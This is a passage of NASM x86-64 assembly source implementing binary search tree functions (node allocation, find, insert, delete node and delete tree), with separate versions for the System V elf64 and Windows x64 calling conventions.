mov rdx, qword slv_klen ; rdx = key length
mov dword[r10+_bst_node_t.klen], edx
call memcpy
mov rax, qword slv_pnode ; reload node ptr
;
; copy user value, if any, to node value buffer
;
mov rsi, qword slv_value ; rsi = ptr to user value buffer
cmp rsi, 0
je BST_A_N_X
mov rdx, qword slv_vlen ; rdx = value length
cmp edx, 0
je BST_A_N_X
mov rdi, rax ; rdi = ptr to node
add rdi, _bst_node_t_size ; rdi = ptr to node key buffer
add rdi, qword slv_klen ; rdi = ptr to node value buffer
mov qword[rax+_bst_node_t.value],rdi
mov dword[rax+_bst_node_t.vlen], edx
call memcpy
mov rax, qword slv_pnode ; reload node ptr
BST_A_N_X:
add rsp, 64
pop rbp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_find_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To find a node within the binary tree root containing key
;
; Params
; root = address of ptr to root of binary tree to search
; key = ptr to key
; klen = length of key
;
; Returns
; eax
; = ptr to found node
; = null ptr if root == null, key == null, len == 0, or key not found
;
; Notes
;
binarytree_find_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 64 ; create SLV and RSS
xor rax, rax ; rax = null ptr
cmp rdi, 0
je BST_F_N_X ; if pptr == null jmp to exit
cmp rsi, 0
je BST_F_N_X ; if key == null jmp to exit
cmp rdx, 0
je BST_F_N_X ; if klen == 0 jmp to exit
mov rdi, [rdi] ; rdi = ptr to root
cmp rdi, 0
je BST_F_N_X ; if root ptr == null jmp to exit
mov qword slv_proot, rdi ; save parameter values to SLV
mov qword slv_key, rsi ;
mov qword slv_klen, rdx ;
; get shortest key length
mov eax, dword[rdi + _bst_node_t.klen]
cmp edx, eax
jle BST_F_N_1
mov edx, eax ; edx = shortest key length
BST_F_N_1:
; compare user key to this nodes key
mov rsi, qword[rdi + _bst_node_t.key]
mov rdi, qword slv_key
call memcmp
mov rdi, qword slv_pnode ; rdi = root node ptr
cmp eax, 0
je BST_F_N_5
jg BST_F_N_4
BST_F_N_2:
; assert: user key less than node key
mov rax, qword[rdi + _bst_node_t.left]
cmp rax, 0
je BST_F_N_X ; if left ptr == null then jmp to exit
add rdi, _bst_node_t.left ; rdi = address of node.left
BST_F_N_3:
mov rsi, qword slv_key
mov rdx, qword slv_klen
call binarytree_find_node
jmp BST_F_N_X
BST_F_N_4:
; assert: user key greater than node key
mov rax, qword[rdi + _bst_node_t.right]
cmp rax, 0
je BST_F_N_X ; if right ptr == null then jmp to exit
add rdi, _bst_node_t.right ; rdi = address of node.right
jmp BST_F_N_3
BST_F_N_5:
; assert: since keys are equal check lengths
mov eax, dword[rdi + _bst_node_t.klen]
mov rdx, qword slv_klen ; rdx = user key length
cmp edx, eax
jl BST_F_N_2
jg BST_F_N_4
; assert: keys are identical
mov rax, rdi
BST_F_N_X:
add rsp, 64 ; remove SLV
pop rbp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_insert_node(struct _bst_node_t **root, struct _bst_node_t *node)
;
; Purpose
; To insert a node into the binary tree
;
; Params
; root = address of ptr to binary tree root node
; node = ptr to node to insert into binary tree
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
;
; Notes
; Any node contained within the binary tree (including the root node)
; that compares to the node param key is replaced with the new node
; and the old node is deleted. Duplicate nodes are not supported.
;
binarytree_insert_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 32 ; create SLV
; validate parameters to ensure tree integrity
cmp rdi, 0
je BST_I_N_RET_1 ; if pptr == 0 jmp to exit
cmp rsi, 0
je BST_I_N_RET_1 ; if pnode == 0 jmp to exit
mov rax, qword[rdi] ; rax = root ptr
cmp rax, 0
jne BST_I_N_1 ; if proot != 0 find insert point
; assert: null root, make node new root
mov qword[rdi], rsi
jmp BST_I_N_X ; rax = 0 ( success )
BST_I_N_1:
mov qword slv_pptr, rdi ; save register param values
mov qword slv_proot, rax ; save root ptr
mov qword slv_pnode, rsi ; save node ptr
; get shortest key length
mov edx, dword[rax + _bst_node_t.klen]
mov r8d, dword[rsi + _bst_node_t.klen]
cmp edx, r8d
jle BST_I_N_2
mov edx, r8d ; edx = shortest key length
BST_I_N_2:
; compare user key to this nodes key
mov rdi, qword[rsi + _bst_node_t.key]
mov rsi, qword[rax + _bst_node_t.key]
call memcmp
mov rdi, qword slv_proot ; rdi = root ptr
mov rsi, qword slv_pnode ; rsi = node ptr
cmp eax, 0
je BST_I_N_8
jg BST_I_N_5
BST_I_N_3:
; assert: user key less than node key
mov rax, qword[rdi + _bst_node_t.left]
cmp rax, 0
je BST_I_N_6
add rdi, _bst_node_t.left ; rdi = address of node.left
BST_I_N_4:
call binarytree_insert_node
jmp BST_I_N_X ; rax = error code
BST_I_N_5:
; assert: user key greater than node key
mov rax, qword[rdi + _bst_node_t.right]
cmp rax, 0
je BST_I_N_7
add rdi, _bst_node_t.right ; rdi = address of node.right
jmp BST_I_N_4
BST_I_N_6:
; insert into left child ptr
mov qword[rdi + _bst_node_t.left], rsi
; update user node parent
mov qword[rsi + _bst_node_t.parent], rdi
jmp BST_I_N_X ; rax = 0 ( success )
BST_I_N_7:
; insert into right child ptr
mov qword[rdi + _bst_node_t.right], rsi
; update user node parent
mov qword[rsi + _bst_node_t.parent], rdi
jmp BST_I_N_X ; rax = 0 ( success )
BST_I_N_8:
; assert: since keys are equal check lengths
xor r8, r8
mov eax, dword[rdi + _bst_node_t.klen]
mov r8d, dword[rsi + _bst_node_t.klen]
cmp r8d, eax
jl BST_I_N_3
jg BST_I_N_5
BST_I_N_9A:
; assert: keys are identical, prepare for node swap
mov rax, qword[rdi + _bst_node_t.parent]
mov qword[rsi + _bst_node_t.parent], rax
mov rax, qword[rdi + _bst_node_t.left]
mov qword[rsi + _bst_node_t.left], rax
cmp rax, 0
je BST_I_N_9B
mov qword[rax + _bst_node_t.parent], rsi
BST_I_N_9B:
mov rax, qword[rdi + _bst_node_t.right]
mov qword[rsi + _bst_node_t.right], rax
cmp rax, 0
je BST_I_N_10
mov qword[rax + _bst_node_t.parent], rsi
BST_I_N_10:
; assert: swapping out root node
mov rax, qword slv_pptr ; rax = address of root ptr
mov qword [rax], rsi ; store new root node ptr
BST_I_N_11:
; safe to free old node in rdi
call free
jmp BST_I_N_RET_0
BST_I_N_RET_1:
mov rax, 1 ; rax = param error
jmp BST_I_N_X
BST_I_N_RET_0:
xor rax, rax ; rax = 0 ( success )
BST_I_N_X:
add rsp, 32
pop rbp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To delete a node from the binary tree
;
; Params
; root = address of ptr to binary tree root node
; key = ptr to key to find and delete
; klen = length of key
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
; = 2 if key not found
;
; Notes
; If the only node in the tree is the root node and it compares
; to the key param it is deleted and will be set to null
;
binarytree_delete_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 64 ; create SLV
cmp rdi, 0
je BST_D_N_RET_1 ; if pptr == null return param error
cmp rsi, 0
je BST_D_N_RET_1 ; if key == null return param error
cmp rdx, 0
je BST_D_N_RET_1 ; if len == 0 return param error
mov qword slv_pptr, rdi ; save parameter values to SLV
mov qword slv_key, rsi ;
mov qword slv_klen, rdx ;
mov rdi, [rdi] ; get node ptr
cmp rdi, 0
je BST_D_N_RET_1 ; if rdi == 0 return param error
mov qword slv_pnode, rdi ; save ptr to current node
; get shortest key length
mov eax, dword[rdi + _bst_node_t.klen]
cmp edx, eax
jle BST_D_N_1
mov edx, eax ; edx = shortest key length
BST_D_N_1:
; compare user key to this nodes key
xchg rdi, rsi
mov rsi, qword[rsi + _bst_node_t.key]
call memcmp
mov rdi, qword slv_pnode ; rdi = node ptr
mov rdx, qword slv_klen
cmp eax, 0
je BST_D_N_5
jg BST_D_N_4
BST_D_N_2:
; assert: user key less than node key
add rdi, _bst_node_t.left ; rdi = ptr to node.left
mov rax, qword[rdi]
cmp rax, 0
je BST_D_N_RET_2 ; if left ptr == null return not found
BST_D_N_3:
mov rsi, qword slv_key
call binarytree_delete_node
jmp BST_D_N_X ; rax = error code
BST_D_N_4:
; assert: user key greater than node key
add rdi, _bst_node_t.right ; rdi = ptr to node.right
mov rax, qword[rdi]
cmp rax, 0
je BST_D_N_RET_2 ; if right ptr == null return not found
jmp BST_D_N_3
BST_D_N_5:
; assert: keys are equal, check lengths
mov eax, dword[rdi + _bst_node_t.klen]
cmp edx, eax
jl BST_D_N_2
jg BST_D_N_4
; assert: keys are identical
mov r9, rdi ; r9 = node to delete
mov r8, qword[r9] ; r8 = _bst_node_t.parent
; find replacement node, if any
mov rcx, qword[r9 + _bst_node_t.right]
cmp rcx, 0
je BST_D_N_9 ; if right ptr == null try left
; special case: check child node for valid left ptr
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
jne BST_D_N_7B
; assert: rcx = replacement node
; set node to delete right ptr to replacement node right ptr
mov rax, qword[rcx + _bst_node_t.right]
mov qword[r9 + _bst_node_t.right], rax
jmp BST_D_N_14A
BST_D_N_7A:
; find left-most node
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
je BST_D_N_8
BST_D_N_7B:
mov rcx, rax
jmp BST_D_N_7A
BST_D_N_8:
; assert: rcx = replacement node
; set left ptr of parent node to replacement nodes right ptr
mov rax, qword[rcx + _bst_node_t.parent]
mov rdx, qword[rcx + _bst_node_t.right]
mov qword[rax + _bst_node_t.left], rdx
; set child node new parent
cmp rdx, 0
je BST_D_N_14A
mov qword[rdx], rax
jmp BST_D_N_14A
BST_D_N_9:
; replace with right-most child of left branch
mov rcx, qword[r9 + _bst_node_t.left]
cmp rcx, 0
jne BST_D_N_10
; assert: both child ptrs are null, update parent.
; This also handles special case of deleting last
; node from tree ( root )
jmp BST_D_N_15
BST_D_N_10:
; special case: check child node for valid right ptr
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
jne BST_D_N_12B
; assert: rcx = replacement node
; set node to delete left ptr to replacement node left ptr
mov rax, qword[rcx + _bst_node_t.left]
mov qword[r9 + _bst_node_t.left], rax
jmp BST_D_N_14A
BST_D_N_12A:
; find right-most node
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
je BST_D_N_13
BST_D_N_12B:
mov rcx, rax
jmp BST_D_N_12A
BST_D_N_13:
; assert: rcx = replacement node
; set right child of parent to replacement nodes left child
mov rax, qword[rcx + _bst_node_t.parent]
mov rdx, qword[rcx + _bst_node_t.left]
mov qword[rax + _bst_node_t.right], rdx
; set child node new parent
cmp rdx, 0
je BST_D_N_14A
mov qword[rdx], rax
BST_D_N_14A:
; copy node ptrs from r9 to rcx
mov rax, qword[r9+_bst_node_t.parent]
mov qword[rcx+_bst_node_t.parent], rax
mov rax, qword[r9+_bst_node_t.left]
mov qword[rcx+_bst_node_t.left], rax
cmp rax, 0
je BST_D_N_14B
mov qword[rax + _bst_node_t.parent], rcx
BST_D_N_14B:
mov rax, qword[r9+_bst_node_t.right]
mov qword[rcx+_bst_node_t.right], rax
cmp rax, 0
je BST_D_N_15
mov qword[rax + _bst_node_t.parent], rcx
BST_D_N_15:
mov rax, slv_pptr ; rax = pptr to new node
mov qword[rax], rcx
BST_D_N_16:
mov rdi, r9 ; rdi = node to delete
call free
jmp BST_D_N_RET_0
BST_D_N_RET_2:
mov rax, 2 ; rax = 2 ( not found )
jmp BST_D_N_X
BST_D_N_RET_1:
mov rax, 1 ; rax = 1 ( param error )
jmp BST_D_N_X
BST_D_N_RET_0:
xor rax, rax ; rax = 0 ( no error )
BST_D_N_X:
add rsp, 64
pop rbp
ret ; rax = error code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_tree(struct _bst_node_t **root)
;
; Purpose
; To delete all nodes from the binary tree
;
; Params
; root = address of ptr to binary tree root
;
; Returns
; eax
; = 0 if successful, otherwise err code
; = 1 if parameter error
;
; Notes
; After all the nodes have been deleted from the tree
; the root node ptr is deleted and set to null
;
binarytree_delete_tree:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 32 ; create SLV
cmp rdi, 0
je BST_D_T_RET_1 ; if pptr == null return param error
mov qword slv_pptr, rdi ; save pptr to root
mov rdi, [rdi] ; rdi = ptr to root node
cmp rdi, 0
je BST_D_T_RET_1 ; if ptr == null return param error
mov qword slv_proot, rdi ; save ptr
add rdi, _bst_node_t.left
mov rax, qword[rdi]
cmp rax, 0
je BST_D_T_1
call binarytree_delete_tree
BST_D_T_1:
mov rdi, qword slv_proot ; rdi = ptr to root
add rdi, _bst_node_t.right
mov rax, qword[rdi]
cmp rax, 0
je BST_D_T_2
call binarytree_delete_tree
BST_D_T_2:
mov rdi, qword slv_proot ; rdi = ptr to node
call free ; free node ptr
mov rax, qword slv_pptr ; rax = pptr to root
mov qword[rax],0 ; set ptr to null
jmp BST_D_T_RET_0
BST_D_T_RET_1:
mov rax, 1
jmp BST_D_T_X
BST_D_T_RET_0:
xor rax, rax
BST_D_T_X:
add rsp, 32
pop rbp
ret
%elifidni __OUTPUT_FORMAT__,win64
;
; use 64-bit Windows fastcall convention:
; ints/longs/ptrs: RCX, RDX, R8, R9
; floats/doubles: XMM0 to XMM3
;
;
; external function calls used by this module
;
extern malloc
extern free
extern memcpy
extern memcmp
;
; binary search tree global functions
;
global binarytree_alloc_node
global binarytree_find_node
global binarytree_insert_node
global binarytree_delete_node
global binarytree_delete_tree
;
; define stack Register Shadow Storage (RSS) space
;
%define win64_rss4 [rbp+40]
%define win64_rss3 [rbp+32]
%define win64_rss2 [rbp+24]
%define win64_rss1 [rbp+16]
; define index into Stack Local Variables (SLV)
%define slv_pnode [rbp-8]
%define slv_proot [rbp-16]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_alloc_node(byte *key, unsigned klen, byte *value, unsigned vlen)
;
; Purpose
; To allocate memory for a binary search tree node structure and initialize with key/value pair
;
; Params
; key = ptr to key
; klen = length of key
; value = ptr to data, if any
; vlen = length of data
;
; Returns
; eax
; = struct _bst_node_t *
; = null ptr if key == null, key len == 0, or insufficient memory
;
; Notes
; Params value and vlen may be null/zero if using the search tree for keys only
;
binarytree_alloc_node:
push rbp ; create stack frame
mov rbp, rsp
sub rsp, 48 ; create SLV and RSS
xor rax, rax ; rax = null ptr
; rcx = key, rdx = klen, r8 = value, r9 = vlen
cmp rcx, 0
je BST_A_N_X ; if key == null ptr jmp to exit
cmp rdx, 0
je BST_A_N_X ; if klen == 0 jmp to exit
mov qword win64_rss1, rcx ; save register param values to RSS
mov qword win64_rss2, rdx ;
mov qword win64_rss3, r8 ;
mov qword win64_rss4, r9 ;
mov rcx, _bst_node_t_size ; rcx = sizeof(_bst_node_t)
add rcx, rdx ; + key length
add rcx, r9 ; + value length
call malloc
cmp rax, 0
je BST_A_N_X
mov qword slv_pnode, rax ; save node ptr
;
; ensure node ptrs are properly initialized
;
mov qword[rax + _bst_node_t.parent], 0
mov qword[rax + _bst_node_t.left], 0
mov qword[rax + _bst_node_t.right], 0
mov qword[rax + _bst_node_t.value], 0
mov dword[rax + _bst_node_t.vlen], 0
;
; copy user key to node key buffer
;
mov rcx, rax ; rcx = ptr to node
add rcx, _bst_node_t_size ; rcx = ptr to node key buffer
mov qword[rax+_bst_node_t.key], rcx
mov rdx, qword win64_rss1 ; rdx = ptr to user key buffer
mov r8, qword win64_rss2 ; r8 = key length
mov dword[rax+_bst_node_t.klen], r8d
call memcpy
mov rax, qword slv_pnode ; reload node ptr
;
; copy user value, if any, to node value buffer
;
mov rdx, qword win64_rss3 ; rdx = ptr to user value buffer
cmp rdx, 0
je BST_A_N_X ; if value == nullptr then jmp to exit
mov r8, qword win64_rss4 ; r8 = value length
cmp r8d, 0
je BST_A_N_X ; if vlen == 0 then jmp to exit
mov rcx, rax ; rcx = ptr to node
add rcx, _bst_node_t_size ; rcx = ptr to node key buffer
add rcx, qword win64_rss2 ; rcx = ptr to node value buffer
mov qword[rax+_bst_node_t.value],rcx
mov dword[rax+_bst_node_t.vlen], r8d
call memcpy
mov rax, qword slv_pnode ; return node ptr
BST_A_N_X:
add rsp, 48 ; remove SLV and RSS
pop rbp
ret ; rax = node ptr
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; struct _bst_node_t * binarytree_find_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To find a node within the binary tree containing key
;
; Params
; root = address of binary tree root ptr
; key = ptr to key
; klen = length of key
;
; Returns
; rax
; = ptr to found node
; = nullptr if root == null, key == null, len == 0, or key not found
;
; Notes
;
binarytree_find_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 48 ; create SLV and RSS
xor rax, rax ; rax = null ptr
cmp rcx, 0
je BST_F_N_X ; if pptr == null jmp to exit
cmp r8, 0
je BST_F_N_X ; if klen == 0 jmp to exit
mov rcx, [rcx] ; rcx = ptr to root
cmp rcx, 0
je BST_F_N_X ; if root ptr == null jmp to exit
mov qword win64_rss1, rcx ; save parameter values to RSS
mov qword win64_rss2, rdx ;
mov qword win64_rss3, r8 ;
; get shortest key length
mov eax, dword[rcx + _bst_node_t.klen]
cmp r8d, eax
jle BST_F_N_1
mov r8d, eax ; r8 = shortest key length
BST_F_N_1:
; compare user key to this nodes key
mov rdx, qword[rcx + _bst_node_t.key]
mov rcx, qword win64_rss2
call memcmp
mov rcx, qword win64_rss1 ; rcx = root node ptr
cmp eax, 0
je BST_F_N_5
jg BST_F_N_4
BST_F_N_2:
; assert: user key less than node key
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
je BST_F_N_X ; if left ptr == null then jmp to exit
add rcx, _bst_node_t.left ; rcx = address of node.left
BST_F_N_3:
mov rdx, qword win64_rss2
mov r8, qword win64_rss3
call binarytree_find_node
jmp BST_F_N_X
BST_F_N_4:
; assert: user key greater than node key
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
je BST_F_N_X ; if right ptr == null then jmp to exit
add rcx, _bst_node_t.right ; rcx = address of node.right
jmp BST_F_N_3
BST_F_N_5:
; assert: since keys are equal check lengths
mov eax, dword[rcx + _bst_node_t.klen]
mov r8, qword win64_rss3 ; r8 = user key length
cmp r8d, eax
jl BST_F_N_2
jg BST_F_N_4
; assert: keys are identical
mov rax, rcx
BST_F_N_X:
add rsp, 48 ; remove SLV and RSS
pop rbp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_insert_node(struct _bst_node_t **root, struct _bst_node_t *node)
;
; Purpose
; To insert a node into the binary search tree
;
; Params
; root = address of ptr to binary tree root node
; node = ptr to node to insert into binary tree
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
;
; Notes
; Any node contained within the binary search tree (including the root node)
; that compares to the node param key is replaced with the new node and the
; old node is deleted. Duplicate nodes are not supported.
;
binarytree_insert_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 48 ; create SLV and RSS
; validate parameters to ensure tree integrity
cmp rcx, 0
je BST_I_N_RET_1 ; if pptr == 0 then jmp to exit
cmp rdx, 0
je BST_I_N_RET_1 ; if node == 0 then jmp to exit
mov qword win64_rss1, rcx ; save register param values
mov qword win64_rss2, rdx ;
mov rcx, qword[rcx] ; rcx = ptr to current node
cmp rcx, 0
je BST_I_N_9
mov qword slv_pnode, rcx ; save ptr to current node
; get shortest key length
mov r8d, dword[rcx + _bst_node_t.klen]
mov r9d, dword[rdx + _bst_node_t.klen]
cmp r9d, 0
je BST_I_N_X ; if r9d == 0 then jmp to exit
cmp r8d, r9d
jle BST_I_N_1
mov r8d, r9d ; r8 = shortest key length
BST_I_N_1:
; compare this nodes key to user key
mov rcx, qword[rcx + _bst_node_t.key]
mov rdx, qword[rdx + _bst_node_t.key]
call memcmp
mov rcx, qword slv_pnode ; rcx = ptr to current node
mov rdx, qword win64_rss2 ; rdx = ptr to new node
cmp eax, 0
je BST_I_N_7
jl BST_I_N_4
BST_I_N_2:
; assert: user key less than node key
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
je BST_I_N_5
add rcx, _bst_node_t.left ; rcx = address of node.left
BST_I_N_3:
call binarytree_insert_node
jmp BST_I_N_X
BST_I_N_4:
; assert: user key greater than node key
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
je BST_I_N_6
add rcx, _bst_node_t.right ; rcx = address of node.right
jmp BST_I_N_3
BST_I_N_5:
; insert into left child ptr
mov qword[rcx + _bst_node_t.left], rdx
; update user node parent
mov qword[rdx + _bst_node_t.parent], rcx
jmp BST_I_N_RET_0
BST_I_N_6:
; insert into right child ptr
mov qword[rcx + _bst_node_t.right], rdx
; update user node parent
mov qword[rdx + _bst_node_t.parent], rcx
jmp BST_I_N_RET_0
BST_I_N_7:
; assert: since keys are equal check lengths
xor r8, r8
mov eax, dword[rcx + _bst_node_t.klen]
mov r8d, dword[rdx + _bst_node_t.klen]
cmp r8d, eax
jl BST_I_N_2
jg BST_I_N_4
BST_I_N_8A:
; assert: keys are identical, prepare for node swap
mov rax, qword[rcx + _bst_node_t.parent]
mov qword[rdx + _bst_node_t.parent], rax
mov rax, qword[rcx + _bst_node_t.left]
mov qword[rdx + _bst_node_t.left], rax
cmp rax, 0
je BST_I_N_8B
mov qword[rax + _bst_node_t.parent], rdx
BST_I_N_8B:
mov rax, qword[rcx + _bst_node_t.right]
mov qword[rdx + _bst_node_t.right], rax
cmp rax, 0
je BST_I_N_9
mov qword[rax + _bst_node_t.parent], rdx
BST_I_N_9:
mov rax, qword win64_rss1 ; rax = address of ptr
mov qword [rax], rdx ; store new node ptr
cmp rcx, 0 ; check for null root
je BST_I_N_RET_0 ; if rcx == null jmp to exit
call free ; free old node
jmp BST_I_N_RET_0
BST_I_N_RET_1:
mov rax, 1 ; rax = 1 ( param error )
jmp BST_I_N_X
BST_I_N_RET_0:
xor rax, rax ; rax = 0 ( success )
BST_I_N_X:
add rsp, 48
pop rbp
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_node(struct _bst_node_t **root, void *key, unsigned int klen)
;
; Purpose
; To delete a node from the binary tree
;
; Params
; root = address of ptr to binary tree root node
; key = ptr to key to find and delete
; klen = length of key
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
; = 2 if key not found
;
; Notes
; If the only node remaining in the tree is the root node and it
; compares to the key param it is deleted and will be set to null
;
binarytree_delete_node:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 48 ; create SLV and RSS
cmp rcx, 0
je BST_D_N_RET_1 ; if pptr == null return param error
cmp rdx, 0
je BST_D_N_RET_1 ; if key == null return param error
cmp r8, 0
je BST_D_N_RET_1 ; if len == 0 return param error
mov qword win64_rss1, rcx ; save register param values to RSS
mov qword win64_rss2, rdx ;
mov qword win64_rss3, r8 ;
mov rcx, [rcx] ; get root ptr
cmp rcx, 0
je BST_D_N_RET_1 ; if rcx == 0 return param error
mov qword slv_pnode, rcx ; save ptr to current node
; get shortest key length
mov eax, dword[rcx + _bst_node_t.klen]
cmp r8d, eax
jle BST_D_N_1
mov r8d, eax ; r8 = shortest key length
BST_D_N_1:
; compare user key to this nodes key
mov rdx, qword[rcx + _bst_node_t.key]
mov rcx, qword win64_rss2
call memcmp
mov rcx, qword slv_pnode ; rcx = node ptr
cmp eax, 0
je BST_D_N_5
jg BST_D_N_4
BST_D_N_2:
; assert: user key less than node key
add rcx, _bst_node_t.left ; rcx = ptr to node.left
mov rax, qword[rcx]
cmp rax, 0
je BST_D_N_RET_2 ; if left ptr == null return not found
BST_D_N_3:
mov rdx, qword win64_rss2
mov r8, qword win64_rss3
call binarytree_delete_node
jmp BST_D_N_X ; rax = error code
BST_D_N_4:
; assert: user key greater than node key
add rcx, _bst_node_t.right ; rcx = ptr to node.right
mov rax, qword[rcx]
cmp rax, 0
je BST_D_N_RET_2 ; if right ptr == null return not found
jmp BST_D_N_3
BST_D_N_5:
; assert: keys are equal, check lengths
mov eax, dword[rcx + _bst_node_t.klen]
mov r8, qword win64_rss3 ; r8 = user key length
cmp r8d, eax
jl BST_D_N_2
jg BST_D_N_4
; assert: keys are identical
mov r9, rcx ; r9 = node to delete
mov r8, qword[r9] ; r8 = _bst_node_t.parent
; find replacement node, if any
mov rcx, qword[r9 + _bst_node_t.right]
cmp rcx, 0
je BST_D_N_9 ; if right ptr == null try left
; special case: check child node for valid left ptr
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
jne BST_D_N_7B
; assert: rcx = replacement node
; set node to delete right ptr to replacement node right ptr
mov rax, qword[rcx + _bst_node_t.right]
mov qword[r9 + _bst_node_t.right], rax
jmp BST_D_N_14A
BST_D_N_7A:
; find left-most node
mov rax, qword[rcx + _bst_node_t.left]
cmp rax, 0
je BST_D_N_8
BST_D_N_7B:
mov rcx, rax
jmp BST_D_N_7A
BST_D_N_8:
; assert: rcx = replacement node
; set left ptr of parent node to replacement nodes right ptr
mov rax, qword[rcx] ; rax = _bst_node_t.parent
mov rdx, qword[rcx + _bst_node_t.right]
mov qword[rax + _bst_node_t.left], rdx
; set child node new parent
cmp rdx, 0
je BST_D_N_14A
mov qword[rdx], rax
jmp BST_D_N_14A
BST_D_N_9:
; replace with right-most child of left branch
mov rcx, qword[r9 + _bst_node_t.left]
cmp rcx, 0
jne BST_D_N_10
; assert: both child ptrs are null, update parent.
; This also handles special case of deleting last
; node from tree ( root )
jmp BST_D_N_15
BST_D_N_10:
; special case: check child node for valid right ptr
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
jne BST_D_N_12B
; assert: rcx = replacement node
; set node to delete left ptr to replacement node left ptr
mov rax, qword[rcx + _bst_node_t.left]
mov qword[r9 + _bst_node_t.left], rax
jmp BST_D_N_14A
BST_D_N_12A:
; find right-most node
mov rax, qword[rcx + _bst_node_t.right]
cmp rax, 0
je BST_D_N_13
BST_D_N_12B:
mov rcx, rax
jmp BST_D_N_12A
BST_D_N_13:
; assert: rcx = replacement node
; set right child of parent to replacement nodes left child
mov rax, qword[rcx + _bst_node_t.parent]
mov rdx, qword[rcx + _bst_node_t.left]
mov qword[rax + _bst_node_t.right], rdx
; set child node new parent
cmp rdx, 0
je BST_D_N_14A
mov qword[rdx], rax
BST_D_N_14A:
; copy node ptrs from r9 to rcx
mov rax, qword[r9+_bst_node_t.parent]
mov qword[rcx+_bst_node_t.parent], rax
mov rax, qword[r9+_bst_node_t.left]
mov qword[rcx+_bst_node_t.left], rax
cmp rax, 0
je BST_D_N_14B
mov qword[rax + _bst_node_t.parent], rcx
BST_D_N_14B:
mov rax, qword[r9+_bst_node_t.right]
mov qword[rcx+_bst_node_t.right], rax
cmp rax, 0
je BST_D_N_15
mov qword[rax + _bst_node_t.parent], rcx
BST_D_N_15:
mov rax, win64_rss1 ; rax = pptr to new node
mov qword[rax], rcx
BST_D_N_16:
mov rcx, r9 ; rcx = node to delete
call free
jmp BST_D_N_RET_0
BST_D_N_RET_2:
mov rax, 2 ; rax = 2 ( not found )
jmp BST_D_N_X
BST_D_N_RET_1:
mov rax, 1 ; rax = 1 ( param error )
jmp BST_D_N_X
BST_D_N_RET_0:
xor rax, rax ; rax = 0 ( no error )
BST_D_N_X:
add rsp, 48
pop rbp
ret ; rax = error code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; int binarytree_delete_tree(struct _bst_node_t **root)
;
; Purpose
; To delete all nodes from the binary search tree
;
; Params
; root = address of ptr to binary search tree root
;
; Returns
; eax
; = 0 if successful
; = 1 if parameter error
;
; Notes
; After all the nodes have been deleted from the tree
; the root node ptr is deleted and set to null
;
binarytree_delete_tree:
push rbp ; set up stack frame
mov rbp, rsp
sub rsp, 48 ; create SLV and RSS
cmp rcx, 0
je BST_D_T_RET_1 ; if pptr == null return param error
mov qword win64_rss1, rcx ; save pptr to root
mov rcx, [rcx] ; rcx = ptr to root node
cmp rcx, 0
je BST_D_T_RET_1 ; if ptr == null return param error
mov qword slv_proot, rcx ; save ptr
add rcx, _bst_node_t.left
mov rax, qword[rcx]
cmp rax, 0
je BST_D_T_1
call binarytree_delete_tree
BST_D_T_1:
mov rcx, qword slv_proot ; rcx = ptr to root
add rcx, _bst_node_t.right
mov rax, qword[rcx]
cmp rax, 0
je BST_D_T_2
call binarytree_delete_tree
BST_D_T_2:
mov rcx, qword slv_proot ; rcx = ptr to node
call free ; free node ptr
mov rax, win64_rss1 ; rax = pptr to root
mov qword[rax],0 ; set ptr to null
jmp BST_D_T_RET_0
BST_D_T_RET_1:
mov rax, 1
jmp BST_D_T_X
BST_D_T_RET_0:
xor rax, rax
BST_D_T_X:
add rsp, 48
pop rbp
ret
%else
%fatal unknown output format: __OUTPUT_FORMAT__
%endif
%else
